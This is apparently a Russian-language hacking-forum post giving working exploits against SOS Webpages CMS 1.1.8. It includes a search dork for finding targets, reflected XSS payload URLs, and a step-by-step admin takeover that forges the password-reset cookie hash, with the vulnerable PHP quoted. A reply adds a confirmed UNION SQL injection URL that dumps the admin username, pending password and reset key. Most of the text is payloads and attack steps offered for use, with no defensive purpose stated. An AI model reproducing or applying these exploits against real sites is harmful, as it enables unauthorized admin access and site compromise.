SOS Webpages v1.1.8 http://sourceforge.net/projects/soswebpages/ Easy to learn website management system for novices wanting to manage site content. Simple content management system for non-profit organizations, small businesses, professional offices, small churches. Linux, Apache, PHP, MySQL for CMS. dork "Powered by SOS Webpages" -------------------- pXSS http://localhost/soswp_1.1.8/admin/login.php?error=user&uri=admin_edit_page.php?pages_id=1>"><script>alert(121212);</script> http://localhost/soswp_1.1.8/admin/login.php?sitelink=true&uri=1>"><script>alert(121212);</script> -------------------- Сброс пароля администратора примерная схема работы скриптов forgot password 1 запрашивается e-mail администратора 2 проверяется на соответствие тому, что хранится в базе 3 в куки пишется мыло и соленый хеш этого мыла 4 жмем кнопку Send Reset Link 5 в куках проверяется соответствие мыла и хеша 6 генерится новый пароль, пишется в буфер, пароль и линк для активации отсылается на мыло из кук 7 получаем мылом login, password, reset link 8 заходим по линку, пароль из буфера переписывается на место рабочего пароля администратора. Слабое место Пароль отсылается на мыло из кук, обработка разбита на четыре скрипта. Смотрим подробнее: первые два скрипта нам не понадобятся, сами сформируем нужную информацию. admin/admin_password_reset3.php PHP: /* admin_password_reset3.php is part of the password recover process. */ include "admin_queries.php"; $admin_email=$_COOKIE["submitted_email"]; $gate=MD5($admin_email . "SOSWebpages"); $gateway=$_COOKIE["gate"]; ... if ($gate==$gateway) { /* Make a key and a new password Insert the key and the password in the database Email the link with the key When link is clicked key is checked, password is reset to new password, client sent to login. */ // Make a password $chars = "ef3gSThij789ABCDEFkmnpqrstuvwxyz2456GHIJKLMNPQRUVWXYZ"; srand((double)microtime()*1000000); $i = 0; $pass = '' ; while ($i <= 4) { $num = rand() % 50; $tmp = substr($chars, $num, 1); $pass = $pass . $tmp; $i++; } $key=MD5($pass); $link="http://$site_uri/admin/admin_password_reset4.php?key=$key"; //insert in the database $query = "UPDATE " . $dbprefix . "hw_admin SET admin_newpassword='$pass', admin_key='$key' WHERE admin_id=1"; $dbh=mysql_connect($dbhhost,$dbhuser,$dbhpassword) or die ('I cannot connect to the database because: ' . mysql_error()); mysql_select_db($dbhdatabasename); mysql_query($query); // Some data for the message $mailTo = $admin_email; $mailFrom = "website@$site_uri"; $mailFromName = "$site_uri"; $mailSubject = PASSWORD_RESET; $mailMessage = USERNAME_IS . " : $admin_user " . PASSWORD_WILL_BE . ": $pass " . NOTICE_AND_LINK . ": $link " . LOGIN_WITH_NEW_AND_CHANGE; // Send mail mail($mailTo, $mailSubject, $mailMessage, "From: $mailFromName <$mailFrom>\r\n"); admin/admin_password_reset4.php PHP: Require "admin_queries.php"; $key=$_GET["key"]; $dbh=mysql_connect($dbhhost,$dbhuser,$dbhpassword) or die ('I cannot connect to the database because: ' . mysql_error()); mysql_select_db($dbhdatabasename); $query = "SELECT admin_key, admin_newpassword, admin_time FROM " . $dbprefix . "hw_admin WHERE admin_id=1"; $result=mysql_query($query); $num=mysql_num_rows($result); $admin_time = mysql_result($result,0,"admin_time"); $admin_newpassword=mysql_result($result,0,"admin_newpassword"); $admin_key=mysql_result($result,0,"admin_key"); $admin_password=MD5($admin_newpassword); $year = substr($admin_time,0,4); $mon = substr($admin_time,5,2); $day = substr($admin_time,8,2); $hour = substr($admin_time,11,2); $min = substr($admin_time,14,2); $sec = substr($admin_time,17,2); $Presettime=mktime($hour,$min,$sec,$mon,$day,$year); if (((time()-$Presettime)<86400) and $admin_key == $key) { $query = "UPDATE " . $dbprefix . "hw_admin SET admin_password='$admin_password' WHERE admin_id=1"; mysql_query($query); Атака: http://localhost/soswp_1.1.8/admin/admin_password_reset3.php cookies: [email protected] gate=8de3b517babf6ba49104cc89edf057ee где gate= md5 от строки [email protected] мыло указываем реальное (если нет возможности посмотеть непосредственно $dbprefix ."hw_admin") получаем письмо вида Code: Your username is : admin Your new password will be: IfutG You must click the following link or cut an paste it in your browser within 24 hours. Here is the reset link: http://localhost/SOSWP_1.1.8/admin/admin_password_reset4.php?key=58e69a383d5d41640d191ef2b6ef7fd6 Use the new password to login. It is HIGHLY recommended that you change your password to something you will remember. Заходим по линку, вводим логин и новый пароль - мы в админке. --------------------
SQL найдено ElteRUS Видел эту SQL по тексту (рядом аналогичная с event_id) но не нашел вызова. Вызов найден, по умолчанию Photo Gallery не присутствует в главном меню, нужно его добавить и pages_id должен указывать на этот модуль. Подтверждаю SQL_inj работает, теперь можно указывать фиктивное мыло, а информацию получать из http://localhost/SOSWP_1.1.8/index.php?pages_id=6&photo_id=-1+union+select+1,2,3,concat_ws(0x2F,admin_user,admin_newpassword,admin_key),5,6+from+sos_hw_admin